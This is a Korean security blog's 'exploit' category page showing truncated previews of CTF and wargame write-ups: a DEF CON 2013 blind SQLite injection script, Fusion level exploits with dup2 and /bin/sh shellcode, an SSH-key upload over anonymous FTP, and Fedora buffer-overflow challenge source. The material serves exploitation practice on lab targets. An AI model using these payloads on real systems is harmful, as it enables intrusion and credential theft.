본문 바로가기

exploit

[defcon 2013] 3dub, babysfirst, exploit sqlite injection 문제. import httplib,urllib; # Blind SQL injection ck = "" referer = "" # barking up the wrong tree -- # setting #toget = "(SELECT password from users where name='root')" #toget = "(SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)" #toget = "(SELECT count() from keys)" #toget = "(SELECT sql FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)" toget = "(SELEC.. 더보기
[exploit-exercises] Fusion level 01 from struct import * from socket import * import time fd=4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # bin/sh shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',20001)) #raw_input(".. 더보기
[exploit-exercises] Fusion level 00 from struct import * from socket import * import time fd=4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # bin/sh shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',20000)) print s.recv.. 더보기
[BOF원정대/Fedora4] cruel -> enigma 0x080485e0 : mov 0x804985c,%eax 0x080485e5 : sub $0x4,%esp 0x080485e8 : push %eax 0x080485e9 : push $0x400 0x080485ee : lea 0xfffffc00(%ebp),%eax 0x080485f4 : push %eax 0x080485f5 : call 0x80483ec ... (gdb) x/x 0x804985c 0x804985c : 0x00236740 (gdb) x/10x 0x00236740 0x236740 : 0xfbad2098 0xb7fe1000 0xb7fe1000 0xb7fe1000 0x236750 : 0xb7fe1000 0xb7fe1000 0xb7fe1000 0xb7fe1000 0x236760 : 0xb7fe2000.. 더보기
[Secuinside 2013] 127.0.0.1, write up 공격 순서는, ssh key 덮어씌우기 -> 버퍼오버플로우 이다. 로컬에서만 접속할수 있는 데몬이기때문에, 로컬의 쉘이 필요하다.로컬 쉘을 얻을수 있는 방법으로는, ssh key를 서버에 올려놓으면, 비밀번호 없이 접근할 수 있다. $ ssh-keygen -t rsa로, public key와 private key를 만든후, private key 는 ~/.ssh/id_rsa 로 옮겨놓고,public_key는 이름을 authorized_keys로 바꾸고 ftp를 이용해 서버로 업로드한다. 그래서 ftp로 접속을 한다. (annonymous로 접속하면 된다.)그리고, active 모드로 변경한다. (서버는 대부분의 포트가 막혀있기때문에, passive 모드가 안먹힌다.)그리고, /home/secu_ftpd/a.. 더보기
[BOF원정대/Fedora4] dark_stone -> cruel /* The Lord of the BOF : The Fellowship of the BOF - cruel - Local BOF on Fedora Core 4 - hint : no more fake ebp, RET sleding on random library */ #include #include #include int main(int argc, char *argv[]) { char buffer[256]; if(argc & result $ xxd result | grep cve -A 4 ... 0000640: 6563 7665 2822 85c0 7553 65a1 5422 2c20 ecve("..uSe.T", 0000650: 5b30 5d2c 205b 2f2a 2030 2076 6172 7320 [0], [.. 더보기
[BOF원정대/Fedora3] evil_wizard -> dark_stone /* The Lord of the BOF : The Fellowship of the BOF - dark_stone - Remote BOF on Fedora Core 3 - hint : GOT overwriting again - port : TCP 8888 */ #include // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); } int main() { char buffer[256]; char saved_sfp[4]; int length; char temp[1024]; printf("dark_stone : how fresh meat you are!\n"); printf("you : ");.. 더보기
[BOF원정대/Fedora3] hell_fire -> evil_wizard /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting */ // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); } int main(int argc, char *argv[]) { char buffer[256]; char saved_sfp[4]; int length; if(argc 더보기
[BOF원정대/Fedora3] iron_golem -> dark_eyes /* The Lord of the BOF : The Fellowship of the BOF - dark_eyes - Local BOF on Fedora Core 3 - hint : RET sleding*/ int main(int argc, char *argv[]){ char buffer[256]; char saved_sfp[4]; if(argc < 2){ printf("argv error\n"); exit(0); } // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, argv[1]); // restore sfp memcpy(buffer+264, saved_sfp, 4); printf("%s\n", buffer);} dark.. 더보기
[BOF원정대/Fedora3] gate -> iron_golem 이전 레드햇에서의 BOF원정대와 달라진점은 1. exec-shield : 스택에 존재하는 어셈블리어는 실행이 안됩니다. 즉, 쉘코드를 스택에 올려봐야 소용이 없습니다. 2. 랜덤스택: 스택의 주소가 계속 바뀌기때문에, 어짜피 스택의 한 지점으로 점프하기도 쉽지 않습니다. 3. 00 으로 시작되는 라이브러리 주소: 00(NULL)이 들어감으로써, 라이브러리 주소를 쓰는순간 스트링이 끊깁니다. 즉, 라이브러리 주소는 마지막에 딱 한번만 사용 가능합니다. 그렇다면, 이를 해결하기위해서 제가 사용할 방법은, execl을 이용하고, fake ebp를 이용해서 GOT부분을 execl의 argument로서 사용할것입니다. 좀더 풀어서 설명하자면, execl의 argument는 다음과 같습니다.execl(실행할 파일 .. 더보기